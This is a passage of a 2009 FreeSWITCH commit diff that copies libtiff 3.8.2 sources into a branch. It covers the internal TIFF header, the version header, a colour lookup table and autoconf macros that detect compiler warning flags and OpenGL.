+typedef	int (*TIFFCodeMethod)(TIFF*, tidata_t, tsize_t, tsample_t);
+typedef	int (*TIFFSeekMethod)(TIFF*, uint32);
+typedef	void (*TIFFPostMethod)(TIFF*, tidata_t, tsize_t);
+typedef	uint32 (*TIFFStripMethod)(TIFF*, uint32);
+typedef	void (*TIFFTileMethod)(TIFF*, uint32*, uint32*);
+
+struct tiff {
+	char*		tif_name;	/* name of open file */
+	int		tif_fd;		/* open file descriptor */
+	int		tif_mode;	/* open mode (O_*) */
+	uint32		tif_flags;
+#define	TIFF_FILLORDER		0x0003	/* natural bit fill order for machine */
+#define	TIFF_DIRTYHEADER	0x0004	/* header must be written on close */
+#define	TIFF_DIRTYDIRECT	0x0008	/* current directory must be written */
+#define	TIFF_BUFFERSETUP	0x0010	/* data buffers setup */
+#define	TIFF_CODERSETUP		0x0020	/* encoder/decoder setup done */
+#define	TIFF_BEENWRITING	0x0040	/* written 1+ scanlines to file */
+#define	TIFF_SWAB		0x0080	/* byte swap file information */
+#define	TIFF_NOBITREV		0x0100	/* inhibit bit reversal logic */
+#define	TIFF_MYBUFFER		0x0200	/* my raw data buffer; free on close */
+#define	TIFF_ISTILED		0x0400	/* file is tile, not strip- based */
+#define	TIFF_MAPPED		0x0800	/* file is mapped into memory */
+#define	TIFF_POSTENCODE		0x1000	/* need call to postencode routine */
+#define	TIFF_INSUBIFD		0x2000	/* currently writing a subifd */
+#define	TIFF_UPSAMPLED		0x4000	/* library is doing data up-sampling */ 
+#define	TIFF_STRIPCHOP		0x8000	/* enable strip chopping support */
+#define	TIFF_HEADERONLY		0x10000	/* read header only, do not process */
+					/* the first directory */
+	toff_t		tif_diroff;	/* file offset of current directory */
+	toff_t		tif_nextdiroff;	/* file offset of following directory */
+	toff_t*		tif_dirlist;	/* list of offsets to already seen */
+					/* directories to prevent IFD looping */
+	uint16		tif_dirnumber;  /* number of already seen directories */
+	TIFFDirectory	tif_dir;	/* internal rep of current directory */
+	TIFFHeader	tif_header;	/* file's header block */
+	const int*	tif_typeshift;	/* data type shift counts */
+	const long*	tif_typemask;	/* data type masks */
+	uint32		tif_row;	/* current scanline */
+	tdir_t		tif_curdir;	/* current directory (index) */
+	tstrip_t	tif_curstrip;	/* current strip for read/write */
+	toff_t		tif_curoff;	/* current offset for read/write */
+	toff_t		tif_dataoff;	/* current offset for writing dir */
+/* SubIFD support */
+	uint16		tif_nsubifd;	/* remaining subifds to write */
+	toff_t		tif_subifdoff;	/* offset for patching SubIFD link */
+/* tiling support */
+	uint32 		tif_col;	/* current column (offset by row too) */
+	ttile_t		tif_curtile;	/* current tile for read/write */
+	tsize_t		tif_tilesize;	/* # of bytes in a tile */
+/* compression scheme hooks */
+	int		tif_decodestatus;
+	TIFFBoolMethod	tif_setupdecode;/* called once before predecode */
+	TIFFPreMethod	tif_predecode;	/* pre- row/strip/tile decoding */
+	TIFFBoolMethod	tif_setupencode;/* called once before preencode */
+	int		tif_encodestatus;
+	TIFFPreMethod	tif_preencode;	/* pre- row/strip/tile encoding */
+	TIFFBoolMethod	tif_postencode;	/* post- row/strip/tile encoding */
+	TIFFCodeMethod	tif_decoderow;	/* scanline decoding routine */
+	TIFFCodeMethod	tif_encoderow;	/* scanline encoding routine */
+	TIFFCodeMethod	tif_decodestrip;/* strip decoding routine */
+	TIFFCodeMethod	tif_encodestrip;/* strip encoding routine */
+	TIFFCodeMethod	tif_decodetile;	/* tile decoding routine */
+	TIFFCodeMethod	tif_encodetile;	/* tile encoding routine */
+	TIFFVoidMethod	tif_close;	/* cleanup-on-close routine */
+	TIFFSeekMethod	tif_seek;	/* position within a strip routine */
+	TIFFVoidMethod	tif_cleanup;	/* cleanup state routine */
+	TIFFStripMethod	tif_defstripsize;/* calculate/constrain strip size */
+	TIFFTileMethod	tif_deftilesize;/* calculate/constrain tile size */
+	tidata_t	tif_data;	/* compression scheme private data */
+/* input/output buffering */
+	tsize_t		tif_scanlinesize;/* # of bytes in a scanline */
+	tsize_t		tif_scanlineskew;/* scanline skew for reading strips */
+	tidata_t	tif_rawdata;	/* raw data buffer */
+	tsize_t		tif_rawdatasize;/* # of bytes in raw data buffer */
+	tidata_t	tif_rawcp;	/* current spot in raw buffer */
+	tsize_t		tif_rawcc;	/* bytes unread from raw buffer */
+/* memory-mapped file support */
+	tidata_t	tif_base;	/* base of mapped file */
+	toff_t		tif_size;	/* size of mapped file region (bytes) */
+	TIFFMapFileProc	tif_mapproc;	/* map file method */
+	TIFFUnmapFileProc tif_unmapproc;/* unmap file method */
+/* input/output callback methods */
+	thandle_t	tif_clientdata;	/* callback parameter */
+	TIFFReadWriteProc tif_readproc;	/* read method */
+	TIFFReadWriteProc tif_writeproc;/* write method */
+	TIFFSeekProc	tif_seekproc;	/* lseek method */
+	TIFFCloseProc	tif_closeproc;	/* close method */
+	TIFFSizeProc	tif_sizeproc;	/* filesize method */
+/* post-decoding support */
+	TIFFPostMethod	tif_postdecode;	/* post decoding routine */
+/* tag support */
+	TIFFFieldInfo**	tif_fieldinfo;	/* sorted table of registered tags */
+	size_t		tif_nfields;	/* # entries in registered tag table */
+	const TIFFFieldInfo *tif_foundfield;/* cached pointer to already found tag */
+        TIFFTagMethods  tif_tagmethods; /* tag get/set/print routines */
+        TIFFClientInfoLink *tif_clientinfo; /* extra client information. */
+};
+
+#define	isPseudoTag(t)	(t > 0xffff)	/* is tag value normal or pseudo */
+
+#define	isTiled(tif)	(((tif)->tif_flags & TIFF_ISTILED) != 0)
+#define	isMapped(tif)	(((tif)->tif_flags & TIFF_MAPPED) != 0)
+#define	isFillOrder(tif, o)	(((tif)->tif_flags & (o)) != 0)
+#define	isUpSampled(tif)	(((tif)->tif_flags & TIFF_UPSAMPLED) != 0)
+#define	TIFFReadFile(tif, buf, size) \
+	((*(tif)->tif_readproc)((tif)->tif_clientdata,buf,size))
+#define	TIFFWriteFile(tif, buf, size) \
+	((*(tif)->tif_writeproc)((tif)->tif_clientdata,buf,size))
+#define	TIFFSeekFile(tif, off, whence) \
+	((*(tif)->tif_seekproc)((tif)->tif_clientdata,(toff_t)(off),whence))
+#define	TIFFCloseFile(tif) \
+	((*(tif)->tif_closeproc)((tif)->tif_clientdata))
+#define	TIFFGetFileSize(tif) \
+	((*(tif)->tif_sizeproc)((tif)->tif_clientdata))
+#define	TIFFMapFileContents(tif, paddr, psize) \
+	((*(tif)->tif_mapproc)((tif)->tif_clientdata,paddr,psize))
+#define	TIFFUnmapFileContents(tif, addr, size) \
+	((*(tif)->tif_unmapproc)((tif)->tif_clientdata,addr,size))
+
+/*
+ * Default Read/Seek/Write definitions.
+ */
+#ifndef ReadOK
+#define	ReadOK(tif, buf, size) \
+	(TIFFReadFile(tif, (tdata_t) buf, (tsize_t)(size)) == (tsize_t)(size))
+#endif
+#ifndef SeekOK
+#define	SeekOK(tif, off) \
+	(TIFFSeekFile(tif, (toff_t) off, SEEK_SET) == (toff_t) off)
+#endif
+#ifndef WriteOK
+#define	WriteOK(tif, buf, size) \
+	(TIFFWriteFile(tif, (tdata_t) buf, (tsize_t) size) == (tsize_t) size)
+#endif
+
+/* NB: the uint32 casts are to silence certain ANSI-C compilers */
+#define TIFFhowmany(x, y) ((((uint32)(x))+(((uint32)(y))-1))/((uint32)(y)))
+#define TIFFhowmany8(x) (((x)&0x07)?((uint32)(x)>>3)+1:(uint32)(x)>>3)
+#define	TIFFroundup(x, y) (TIFFhowmany(x,y)*(y))
+
+#define TIFFmax(A,B) ((A)>(B)?(A):(B))
+#define TIFFmin(A,B) ((A)<(B)?(A):(B))
+
+#define TIFFArrayCount(a) (sizeof (a) / sizeof ((a)[0]))
+
+#if defined(__cplusplus)
+extern "C" {
+#endif
+extern	int _TIFFgetMode(const char*, const char*);
+extern	int _TIFFNoRowEncode(TIFF*, tidata_t, tsize_t, tsample_t);
+extern	int _TIFFNoStripEncode(TIFF*, tidata_t, tsize_t, tsample_t);
+extern	int _TIFFNoTileEncode(TIFF*, tidata_t, tsize_t, tsample_t);
+extern	int _TIFFNoRowDecode(TIFF*, tidata_t, tsize_t, tsample_t);
+extern	int _TIFFNoStripDecode(TIFF*, tidata_t, tsize_t, tsample_t);
+extern	int _TIFFNoTileDecode(TIFF*, tidata_t, tsize_t, tsample_t);
+extern	void _TIFFNoPostDecode(TIFF*, tidata_t, tsize_t);
+extern  int  _TIFFNoPreCode (TIFF*, tsample_t); 
+extern	int _TIFFNoSeek(TIFF*, uint32);
+extern	void _TIFFSwab16BitData(TIFF*, tidata_t, tsize_t);
+extern	void _TIFFSwab24BitData(TIFF*, tidata_t, tsize_t);
+extern	void _TIFFSwab32BitData(TIFF*, tidata_t, tsize_t);
+extern	void _TIFFSwab64BitData(TIFF*, tidata_t, tsize_t);
+extern	int TIFFFlushData1(TIFF*);
+extern	int TIFFDefaultDirectory(TIFF*);
+extern	void _TIFFSetDefaultCompressionState(TIFF*);
+extern	int TIFFSetCompressionScheme(TIFF*, int);
+extern	int TIFFSetDefaultCompressionState(TIFF*);
+extern	uint32 _TIFFDefaultStripSize(TIFF*, uint32);
+extern	void _TIFFDefaultTileSize(TIFF*, uint32*, uint32*);
+extern	int _TIFFDataSize(TIFFDataType);
+
+extern	void _TIFFsetByteArray(void**, void*, uint32);
+extern	void _TIFFsetString(char**, char*);
+extern	void _TIFFsetShortArray(uint16**, uint16*, uint32);
+extern	void _TIFFsetLongArray(uint32**, uint32*, uint32);
+extern	void _TIFFsetFloatArray(float**, float*, uint32);
+extern	void _TIFFsetDoubleArray(double**, double*, uint32);
+
+extern	void _TIFFprintAscii(FILE*, const char*);
+extern	void _TIFFprintAsciiTag(FILE*, const char*, const char*);
+
+extern	TIFFErrorHandler _TIFFwarningHandler;
+extern	TIFFErrorHandler _TIFFerrorHandler;
+extern	TIFFErrorHandlerExt _TIFFwarningHandlerExt;
+extern	TIFFErrorHandlerExt _TIFFerrorHandlerExt;
+
+extern	tdata_t _TIFFCheckMalloc(TIFF*, size_t, size_t, const char*);
+
+extern	int TIFFInitDumpMode(TIFF*, int);
+#ifdef PACKBITS_SUPPORT
+extern	int TIFFInitPackBits(TIFF*, int);
+#endif
+#ifdef CCITT_SUPPORT
+extern	int TIFFInitCCITTRLE(TIFF*, int), TIFFInitCCITTRLEW(TIFF*, int);
+extern	int TIFFInitCCITTFax3(TIFF*, int), TIFFInitCCITTFax4(TIFF*, int);
+#endif
+#ifdef THUNDER_SUPPORT
+extern	int TIFFInitThunderScan(TIFF*, int);
+#endif
+#ifdef NEXT_SUPPORT
+extern	int TIFFInitNeXT(TIFF*, int);
+#endif
+#ifdef LZW_SUPPORT
+extern	int TIFFInitLZW(TIFF*, int);
+#endif
+#ifdef OJPEG_SUPPORT
+extern	int TIFFInitOJPEG(TIFF*, int);
+#endif
+#ifdef JPEG_SUPPORT
+extern	int TIFFInitJPEG(TIFF*, int);
+#endif
+#ifdef JBIG_SUPPORT
+extern	int TIFFInitJBIG(TIFF*, int);
+#endif
+#ifdef ZIP_SUPPORT
+extern	int TIFFInitZIP(TIFF*, int);
+#endif
+#ifdef PIXARLOG_SUPPORT
+extern	int TIFFInitPixarLog(TIFF*, int);
+#endif
+#ifdef LOGLUV_SUPPORT
+extern	int TIFFInitSGILog(TIFF*, int);
+#endif
+#ifdef VMS
+extern	const TIFFCodec _TIFFBuiltinCODECS[];
+#else
+extern	TIFFCodec _TIFFBuiltinCODECS[];
+#endif
+
+#if defined(__cplusplus)
+}
+#endif
+#endif /* _TIFFIOP_ */
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiffvers.h

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiffvers.h (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tiffvers.h) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiffvers.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiffvers.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,9 @@
+#define TIFFLIB_VERSION_STR "LIBTIFF, Version 3.8.2\nCopyright (c) 1988-1996 Sam Leffler\nCopyright (c) 1991-1996 Silicon Graphics, Inc."
+/*
+ * This define can be used in code that requires
+ * compilation-related definitions specific to a
+ * version or versions of the library.  Runtime
+ * version checking should be done based on the
+ * string returned by TIFFGetVersion.
+ */
+#define TIFFLIB_VERSION 20060323

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/uvcode.h

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/uvcode.h (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/uvcode.h) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/uvcode.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/uvcode.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,173 @@
+/* Version 1.0 generated April 7, 1997 by Greg Ward Larson, SGI */
+#define UV_SQSIZ	(float)0.003500
+#define UV_NDIVS	16289
+#define UV_VSTART	(float)0.016940
+#define UV_NVS		163
+static struct {
+	float	ustart;
+	short	nus, ncum;
+}	uv_row[UV_NVS] = {
+	{ (float)0.247663,	4,	0 },
+	{ (float)0.243779,	6,	4 },
+	{ (float)0.241684,	7,	10 },
+	{ (float)0.237874,	9,	17 },
+	{ (float)0.235906,	10,	26 },
+	{ (float)0.232153,	12,	36 },
+	{ (float)0.228352,	14,	48 },
+	{ (float)0.226259,	15,	62 },
+	{ (float)0.222371,	17,	77 },
+	{ (float)0.220410,	18,	94 },
+	{ (float)0.214710,	21,	112 },
+	{ (float)0.212714,	22,	133 },
+	{ (float)0.210721,	23,	155 },
+	{ (float)0.204976,	26,	178 },
+	{ (float)0.202986,	27,	204 },
+	{ (float)0.199245,	29,	231 },
+	{ (float)0.195525,	31,	260 },
+	{ (float)0.193560,	32,	291 },
+	{ (float)0.189878,	34,	323 },
+	{ (float)0.186216,	36,	357 },
+	{ (float)0.186216,	36,	393 },
+	{ (float)0.182592,	38,	429 },
+	{ (float)0.179003,	40,	467 },
+	{ (float)0.175466,	42,	507 },
+	{ (float)0.172001,	44,	549 },
+	{ (float)0.172001,	44,	593 },
+	{ (float)0.168612,	46,	637 },
+	{ (float)0.168612,	46,	683 },
+	{ (float)0.163575,	49,	729 },
+	{ (float)0.158642,	52,	778 },
+	{ (float)0.158642,	52,	830 },
+	{ (float)0.158642,	52,	882 },
+	{ (float)0.153815,	55,	934 },
+	{ (float)0.153815,	55,	989 },
+	{ (float)0.149097,	58,	1044 },
+	{ (float)0.149097,	58,	1102 },
+	{ (float)0.142746,	62,	1160 },
+	{ (float)0.142746,	62,	1222 },
+	{ (float)0.142746,	62,	1284 },
+	{ (float)0.138270,	65,	1346 },
+	{ (float)0.138270,	65,	1411 },
+	{ (float)0.138270,	65,	1476 },
+	{ (float)0.132166,	69,	1541 },
+	{ (float)0.132166,	69,	1610 },
+	{ (float)0.126204,	73,	1679 },
+	{ (float)0.126204,	73,	1752 },
+	{ (float)0.126204,	73,	1825 },
+	{ (float)0.120381,	77,	1898 },
+	{ (float)0.120381,	77,	1975 },
+	{ (float)0.120381,	77,	2052 },
+	{ (float)0.120381,	77,	2129 },
+	{ (float)0.112962,	82,	2206 },
+	{ (float)0.112962,	82,	2288 },
+	{ (float)0.112962,	82,	2370 },
+	{ (float)0.107450,	86,	2452 },
+	{ (float)0.107450,	86,	2538 },
+	{ (float)0.107450,	86,	2624 },
+	{ (float)0.107450,	86,	2710 },
+	{ (float)0.100343,	91,	2796 },
+	{ (float)0.100343,	91,	2887 },
+	{ (float)0.100343,	91,	2978 },
+	{ (float)0.095126,	95,	3069 },
+	{ (float)0.095126,	95,	3164 },
+	{ (float)0.095126,	95,	3259 },
+	{ (float)0.095126,	95,	3354 },
+	{ (float)0.088276,	100,	3449 },
+	{ (float)0.088276,	100,	3549 },
+	{ (float)0.088276,	100,	3649 },
+	{ (float)0.088276,	100,	3749 },
+	{ (float)0.081523,	105,	3849 },
+	{ (float)0.081523,	105,	3954 },
+	{ (float)0.081523,	105,	4059 },
+	{ (float)0.081523,	105,	4164 },
+	{ (float)0.074861,	110,	4269 },
+	{ (float)0.074861,	110,	4379 },
+	{ (float)0.074861,	110,	4489 },
+	{ (float)0.074861,	110,	4599 },
+	{ (float)0.068290,	115,	4709 },
+	{ (float)0.068290,	115,	4824 },
+	{ (float)0.068290,	115,	4939 },
+	{ (float)0.068290,	115,	5054 },
+	{ (float)0.063573,	119,	5169 },
+	{ (float)0.063573,	119,	5288 },
+	{ (float)0.063573,	119,	5407 },
+	{ (float)0.063573,	119,	5526 },
+	{ (float)0.057219,	124,	5645 },
+	{ (float)0.057219,	124,	5769 },
+	{ (float)0.057219,	124,	5893 },
+	{ (float)0.057219,	124,	6017 },
+	{ (float)0.050985,	129,	6141 },
+	{ (float)0.050985,	129,	6270 },
+	{ (float)0.050985,	129,	6399 },
+	{ (float)0.050985,	129,	6528 },
+	{ (float)0.050985,	129,	6657 },
+	{ (float)0.044859,	134,	6786 },
+	{ (float)0.044859,	134,	6920 },
+	{ (float)0.044859,	134,	7054 },
+	{ (float)0.044859,	134,	7188 },
+	{ (float)0.040571,	138,	7322 },
+	{ (float)0.040571,	138,	7460 },
+	{ (float)0.040571,	138,	7598 },
+	{ (float)0.040571,	138,	7736 },
+	{ (float)0.036339,	142,	7874 },
+	{ (float)0.036339,	142,	8016 },
+	{ (float)0.036339,	142,	8158 },
+	{ (float)0.036339,	142,	8300 },
+	{ (float)0.032139,	146,	8442 },
+	{ (float)0.032139,	146,	8588 },
+	{ (float)0.032139,	146,	8734 },
+	{ (float)0.032139,	146,	8880 },
+	{ (float)0.027947,	150,	9026 },
+	{ (float)0.027947,	150,	9176 },
+	{ (float)0.027947,	150,	9326 },
+	{ (float)0.023739,	154,	9476 },
+	{ (float)0.023739,	154,	9630 },
+	{ (float)0.023739,	154,	9784 },
+	{ (float)0.023739,	154,	9938 },
+	{ (float)0.019504,	158,	10092 },
+	{ (float)0.019504,	158,	10250 },
+	{ (float)0.019504,	158,	10408 },
+	{ (float)0.016976,	161,	10566 },
+	{ (float)0.016976,	161,	10727 },
+	{ (float)0.016976,	161,	10888 },
+	{ (float)0.016976,	161,	11049 },
+	{ (float)0.012639,	165,	11210 },
+	{ (float)0.012639,	165,	11375 },
+	{ (float)0.012639,	165,	11540 },
+	{ (float)0.009991,	168,	11705 },
+	{ (float)0.009991,	168,	11873 },
+	{ (float)0.009991,	168,	12041 },
+	{ (float)0.009016,	170,	12209 },
+	{ (float)0.009016,	170,	12379 },
+	{ (float)0.009016,	170,	12549 },
+	{ (float)0.006217,	173,	12719 },
+	{ (float)0.006217,	173,	12892 },
+	{ (float)0.005097,	175,	13065 },
+	{ (float)0.005097,	175,	13240 },
+	{ (float)0.005097,	175,	13415 },
+	{ (float)0.003909,	177,	13590 },
+	{ (float)0.003909,	177,	13767 },
+	{ (float)0.002340,	177,	13944 },
+	{ (float)0.002389,	170,	14121 },
+	{ (float)0.001068,	164,	14291 },
+	{ (float)0.001653,	157,	14455 },
+	{ (float)0.000717,	150,	14612 },
+	{ (float)0.001614,	143,	14762 },
+	{ (float)0.000270,	136,	14905 },
+	{ (float)0.000484,	129,	15041 },
+	{ (float)0.001103,	123,	15170 },
+	{ (float)0.001242,	115,	15293 },
+	{ (float)0.001188,	109,	15408 },
+	{ (float)0.001011,	103,	15517 },
+	{ (float)0.000709,	97,	15620 },
+	{ (float)0.000301,	89,	15717 },
+	{ (float)0.002416,	82,	15806 },
+	{ (float)0.003251,	76,	15888 },
+	{ (float)0.003246,	69,	15964 },
+	{ (float)0.004141,	62,	16033 },
+	{ (float)0.005963,	55,	16095 },
+	{ (float)0.008839,	47,	16150 },
+	{ (float)0.010490,	40,	16197 },
+	{ (float)0.016994,	31,	16237 },
+	{ (float)0.023659,	21,	16268 },
+};

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/m4 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/m4)

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/m4/acinclude.m4

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/m4/acinclude.m4 (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/m4/acinclude.m4) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/m4/acinclude.m4	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/m4/acinclude.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,669 @@
+dnl ---------------------------------------------------------------------------
+dnl Message output
+dnl ---------------------------------------------------------------------------
+AC_DEFUN([LOC_MSG],[echo "$1"])
+
+dnl ---------------------------------------------------------------------------
+dnl Available from the GNU Autoconf Macro Archive at:
+dnl http://www.gnu.org/software/ac-archive/vl_prog_cc_warnings.html
+dnl ---------------------------------------------------------------------------
+
+dnl @synopsis VL_PROG_CC_WARNINGS([ANSI])
+dnl
+dnl Enables a reasonable set of warnings for the C compiler.
+dnl Optionally, if the first argument is nonempty, turns on flags which
+dnl enforce and/or enable proper ANSI C if such are known with the
+dnl compiler used.
+dnl
+dnl Currently this macro knows about GCC, Solaris C compiler, Digital
+dnl Unix C compiler, C for AIX Compiler, HP-UX C compiler, IRIX C
+dnl compiler, NEC SX-5 (Super-UX 10) C compiler, and Cray J90 (Unicos
+dnl 10.0.0.8) C compiler.
+dnl
+dnl @category C
+dnl @author Ville Laurikari <vl@iki.fi>
+dnl @version 2002-04-04
+dnl @license AllPermissive
+
+AC_DEFUN([VL_PROG_CC_WARNINGS], [
+  ansi=$1
+  if test -z "$ansi"; then
+    msg="for C compiler warning flags"
+  else
+    msg="for C compiler warning and ANSI conformance flags"
+  fi
+  AC_CACHE_CHECK($msg, vl_cv_prog_cc_warnings, [
+    if test -n "$CC"; then
+      cat > conftest.c <<EOF
+int main(int argc, char **argv) { return 0; }
+EOF
+
+      dnl GCC. -W option has been renamed in -wextra in latest gcc versions.
+      if test "$GCC" = "yes"; then
+        if test -z "$ansi"; then
+          vl_cv_prog_cc_warnings="-Wall -W"
+        else
+          vl_cv_prog_cc_warnings="-Wall -W -ansi -pedantic"
+        fi
+
+      dnl Most compilers print some kind of a version string with some command
+      dnl line options (often "-V").  The version string should be checked
+      dnl before doing a test compilation run with compiler-specific flags.
+      dnl This is because some compilers (like the Cray compiler) only
+      dnl produce a warning message for unknown flags instead of returning
+      dnl an error, resulting in a false positive.  Also, compilers may do
+      dnl erratic things when invoked with flags meant for a different
+      dnl compiler.
+
+      dnl Solaris C compiler
+      elif $CC -V 2>&1 | grep -i "WorkShop" > /dev/null 2>&1 &&
+           $CC -c -v -Xc conftest.c > /dev/null 2>&1 &&
+           test -f conftest.o; then
+        if test -z "$ansi"; then
+          vl_cv_prog_cc_warnings="-v"
+        else
+          vl_cv_prog_cc_warnings="-v -Xc"
+        fi
+
+      dnl Digital Unix C compiler
+      elif $CC -V 2>&1 | grep -i "Digital UNIX Compiler" > /dev/null 2>&1 &&
+           $CC -c -verbose -w0 -warnprotos -std1 conftest.c > /dev/null 2>&1 &&
+           test -f conftest.o; then
+        if test -z "$ansi"; then
+          vl_cv_prog_cc_warnings="-verbose -w0 -warnprotos"
+        else
+          vl_cv_prog_cc_warnings="-verbose -w0 -warnprotos -std1"
+        fi
+
+      dnl C for AIX Compiler
+      elif $CC 2>&1 | grep -i "C for AIX Compiler" > /dev/null 2>&1 &&
+           $CC -c -qlanglvl=ansi -qinfo=all conftest.c > /dev/null 2>&1 &&
+           test -f conftest.o; then
+        if test -z "$ansi"; then
+          vl_cv_prog_cc_warnings="-qsrcmsg -qinfo=all:noppt:noppc:noobs:nocnd"
+        else
+          vl_cv_prog_cc_warnings="-qsrcmsg -qinfo=all:noppt:noppc:noobs:nocnd -qlanglvl=ansi"
+        fi
+
+      dnl IRIX C compiler
+      elif $CC -version 2>&1 | grep -i "MIPSpro Compilers" > /dev/null 2>&1 &&
+           $CC -c -fullwarn -ansi -ansiE conftest.c > /dev/null 2>&1 &&
+           test -f conftest.o; then
+        if test -z "$ansi"; then
+          vl_cv_prog_cc_warnings="-fullwarn"
+        else
+          vl_cv_prog_cc_warnings="-fullwarn -ansi -ansiE"
+        fi
+
+      dnl HP-UX C compiler
+      elif what $CC 2>&1 | grep -i "HP C Compiler" > /dev/null 2>&1 &&
+           $CC -c -Aa +w1 conftest.c > /dev/null 2>&1 &&
+           test -f conftest.o; then
+        if test -z "$ansi"; then
+          vl_cv_prog_cc_warnings="+w1"
+        else
+          vl_cv_prog_cc_warnings="+w1 -Aa"
+        fi
+
+      dnl The NEC SX-5 (Super-UX 10) C compiler
+      elif $CC -V 2>&1 | grep "/SX" > /dev/null 2>&1 &&
+           $CC -c -pvctl[,]fullmsg -Xc conftest.c > /dev/null 2>&1 &&
+           test -f conftest.o; then
+        if test -z "$ansi"; then
+          vl_cv_prog_cc_warnings="-pvctl[,]fullmsg"
+        else
+          vl_cv_prog_cc_warnings="-pvctl[,]fullmsg -Xc"
+        fi
+
+      dnl The Cray C compiler (Unicos)
+      elif $CC -V 2>&1 | grep -i "Cray" > /dev/null 2>&1 &&
+           $CC -c -h msglevel 2 conftest.c > /dev/null 2>&1 &&
+           test -f conftest.o; then
+        if test -z "$ansi"; then
+          vl_cv_prog_cc_warnings="-h msglevel 2"
+        else
+          vl_cv_prog_cc_warnings="-h msglevel 2 -h conform"
+        fi
+
+      fi
+      rm -f conftest.*
+    fi
+    if test -n "$vl_cv_prog_cc_warnings"; then
+      CFLAGS="$CFLAGS $vl_cv_prog_cc_warnings"
+    else
+      vl_cv_prog_cc_warnings="unknown"
+    fi
+  ])
+])dnl
+
+dnl ---------------------------------------------------------------------------
+dnl Available from the GNU Autoconf Macro Archive at:
+dnl http://autoconf-archive.cryp.to/ax_lang_compiler_ms.html
+dnl ---------------------------------------------------------------------------
+
+dnl @synopsis AX_LANG_COMPILER_MS
+dnl
+dnl Check whether the compiler for the current language is Microsoft.
+dnl
+dnl This macro is modeled after _AC_LANG_COMPILER_GNU in the GNU
+dnl Autoconf implementation.
+dnl
+dnl @category InstalledPackages
+dnl @author Braden McDaniel <braden@endoframe.com>
+dnl @version 2004-11-15
+dnl @license AllPermissive
+
+AC_DEFUN([AX_LANG_COMPILER_MS],
+[AC_CACHE_CHECK([whether we are using the Microsoft _AC_LANG compiler],
+                [ax_cv_[]_AC_LANG_ABBREV[]_compiler_ms],
+[AC_COMPILE_IFELSE([AC_LANG_PROGRAM([], [[#ifndef _MSC_VER
+       choke me
+#endif
+]])],
+                   [ax_compiler_ms=yes],
+                   [ax_compiler_ms=no])
+ax_cv_[]_AC_LANG_ABBREV[]_compiler_ms=$ax_compiler_ms
+])])
+
+dnl ---------------------------------------------------------------------------
+dnl Available from the GNU Autoconf Macro Archive at:
+dnl http://www.gnu.org/software/ac-archive/ax_check_gl.html
+dnl ---------------------------------------------------------------------------
+
+dnl @synopsis AX_CHECK_GL
+dnl
+dnl Check for an OpenGL implementation. If GL is found, the required
+dnl compiler and linker flags are included in the output variables
+dnl "GL_CFLAGS" and "GL_LIBS", respectively. This macro adds the
+dnl configure option "--with-apple-opengl-framework", which users can
+dnl use to indicate that Apple's OpenGL framework should be used on Mac
+dnl OS X. If Apple's OpenGL framework is used, the symbol
+dnl "HAVE_APPLE_OPENGL_FRAMEWORK" is defined. If no GL implementation
+dnl is found, "no_gl" is set to "yes".
+dnl
+dnl @category InstalledPackages
+dnl @author Braden McDaniel <braden@endoframe.com>
+dnl @version 2004-11-15
+dnl @license AllPermissive
+
+AC_DEFUN([AX_CHECK_GL],
+[AC_REQUIRE([AC_PATH_X])dnl
+AC_REQUIRE([ACX_PTHREAD])dnl
+
+#
+# There isn't a reliable way to know we should use the Apple OpenGL framework
+# without a configure option.  A Mac OS X user may have installed an
+# alternative GL implementation (e.g., Mesa), which may or may not depend on X.
+#
+AC_ARG_WITH([apple-opengl-framework],
+            [AC_HELP_STRING([--with-apple-opengl-framework],
+                            [use Apple OpenGL framework (Mac OS X only)])])
+if test "X$with_apple_opengl_framework" = "Xyes"; then
+  AC_DEFINE([HAVE_APPLE_OPENGL_FRAMEWORK], [1],
+            [Use the Apple OpenGL framework.])
+  GL_LIBS="-framework OpenGL"
+else
+  AC_LANG_PUSH(C)
+
+  AX_LANG_COMPILER_MS
+  if test X$ax_compiler_ms = Xno; then
+    GL_CFLAGS="${PTHREAD_CFLAGS}"
+    GL_LIBS="${PTHREAD_LIBS} -lm"
+  fi
+
+  #
+  # Use x_includes and x_libraries if they have been set (presumably by
+  # AC_PATH_X).
+  #
+  if test "X$no_x" != "Xyes"; then
+    if test -n "$x_includes"; then
+      GL_CFLAGS="-I${x_includes} ${GL_CFLAGS}"
+    fi
+    if test -n "$x_libraries"; then
+      GL_LIBS="-L${x_libraries} -lX11 ${GL_LIBS}"
+    fi
+  fi
+
+  AC_CHECK_HEADERS([windows.h])
+
+  AC_CACHE_CHECK([for OpenGL library], [ax_cv_check_gl_libgl],
+  [ax_cv_check_gl_libgl="no"
+  ax_save_CPPFLAGS="${CPPFLAGS}"
+  CPPFLAGS="${GL_CFLAGS} ${CPPFLAGS}"
+  ax_save_LIBS="${LIBS}"
+  LIBS=""
+  ax_check_libs="-lopengl32 -lGL"
+  for ax_lib in ${ax_check_libs}; do
+    if test X$ax_compiler_ms = Xyes; then
+      ax_try_lib=`echo $ax_lib | sed -e 's/^-l//' -e 's/$/.lib/'`
+    else
+      ax_try_lib="${ax_lib}"
+    fi
+    LIBS="${ax_try_lib} ${GL_LIBS} ${ax_save_LIBS}"
+    AC_LINK_IFELSE(
